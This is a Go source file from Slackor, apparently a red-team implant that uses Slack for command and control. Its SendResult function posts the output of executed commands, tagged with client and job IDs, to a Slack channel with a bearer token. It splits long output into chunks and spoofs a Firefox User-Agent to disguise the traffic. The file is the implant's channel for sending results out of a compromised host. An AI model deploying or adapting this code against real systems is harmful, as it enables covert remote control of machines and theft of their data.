github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/internal/slack/send.go (about) 1 package slack 2 3 import ( 4 "fmt" 5 "net/http" 6 "net/url" 7 "strings" 8 "time" 9 10 "github.com/n00py/Slackor/internal/config" 11 "github.com/n00py/Slackor/internal/crypto" 12 ) 13 14 // SendResult sends a result back to the responses channel in Slack 15 func SendResult(clientID, jobID, cmdType, output string) { //Sends a response back to the responses channel 16 client := &http.Client{Timeout: time.Second * 10} 17 URL := "https://slack.com/api/chat.postMessage" 18 v := url.Values{} 19 v.Set("channel", config.ResponseChannel) 20 info := clientID + ":" + jobID + ":" + cmdType + ":" + output 21 22 if len(info) < 4000 { // If characters are less than 4K, leave it alone 23 v.Set("text", info) 24 //If it has more than 4K and less than 30K, prepend the client and job info as it will get posted 25 // as a multi-part message 26 27 } else if len(info) < 30000 { 28 info := clientID + ":" + jobID + ":" + "cont" + ":" + output 29 index := 4000 30 for i := 0; i+index < len(info); i++ { 31 info = info[:index] + clientID + ":" + jobID + ":" + "cont:" + info[index:] 32 index = index + 4000 33 } 34 v.Set("text", info) 35 36 } else { //If the size is over 30K characters, it's too big to print. 37 message := "Output too long. Consider writing command output to a file and downloading it." 38 encryptedOutput, _ := crypto.Encrypt([]byte(message)) 39 info := clientID + ":" + jobID + ":" + cmdType + ":" + encryptedOutput 40 v.Set("text", info) 41 } 42 //pass the values to the request's body 43 fmt.Println("Sending result...") 44 req, _ := http.NewRequest("POST", URL, strings.NewReader(v.Encode())) 45 req.Header.Add("Authorization", "Bearer "+config.Bearer) 46 req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0") 47 req.Header.Add("Content-Type", "application/x-www-form-urlencoded") 48 _, netError := client.Do(req) 49 if netError != nil { 50 fmt.Println("Connection error: " + netError.Error()) 51 } 52 }